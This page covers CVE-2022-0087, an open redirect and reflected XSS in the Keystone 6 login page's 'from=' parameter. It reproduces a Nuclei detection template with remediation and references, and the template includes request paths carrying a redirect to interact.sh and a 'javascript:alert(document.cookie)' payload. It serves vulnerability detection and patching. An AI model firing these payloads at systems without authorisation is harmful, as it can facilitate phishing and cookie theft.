CVE-2022-0087: Keystone 6 Login Page - Open Redirect and Cross-Site Scripting

2025-08-01 Keystone 6 PoC Public

Description

On the login page, there is a "from=" parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.

PoC

id: CVE-2022-0087

info:
  name: Keystone 6 Login Page - Open Redirect and Cross-Site Scripting
  author: ShivanshKhari
  severity: medium
  description: |
    On the login page, there is a "from=" parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.
  impact: |
    Attackers can redirect users to malicious websites or inject malicious JavaScript via the from parameter, potentially facilitating phishing attacks or stealing user credentials.
  remediation: |
    Please upgrade to @keystone-6/auth >= 1.0.2, where this vulnerability has been closed. If you are using @keystone-next/auth, we strongly recommend you upgrade to @keystone-6
  reference:
    - https://huntr.com/bounties/c9d7374f-2cb9-4bac-9c90-a965942f413e
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0087
    - https://github.com/keystonejs/keystone/commit/96bf833a23b1a0a5d365cf394467a943cc481b38
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0087
    cwe-id: CWE-79
    epss-score: 0.02601
    epss-percentile: 0.84569
    cpe: cpe:2.3:a:keystonejs:keystone:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 2
    vendor: keystonejs
    product: keystone
    framework: node.js
  tags: cve,cve2022,keystone,redirect,xss,node.js,keystonejs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/signin?from=https://interact.sh"
      - "{{BaseURL}}/signin?from=javascript:alert(document.cookie)"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: https://interact.sh"

      - type: word
        part: body
        words:
          - "alert(document.cookie)"
# digest: 4a0a0047304502207623fcd7d463a7c2e4789ef2a40c1cd201bcc1afd5ac4a7d014c82ff48410ccc022100cb47ddbb7c9f6f9da98f71b4a63f26bae0b66c84b6462044949ad8a6cda415e5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0087.yaml

References

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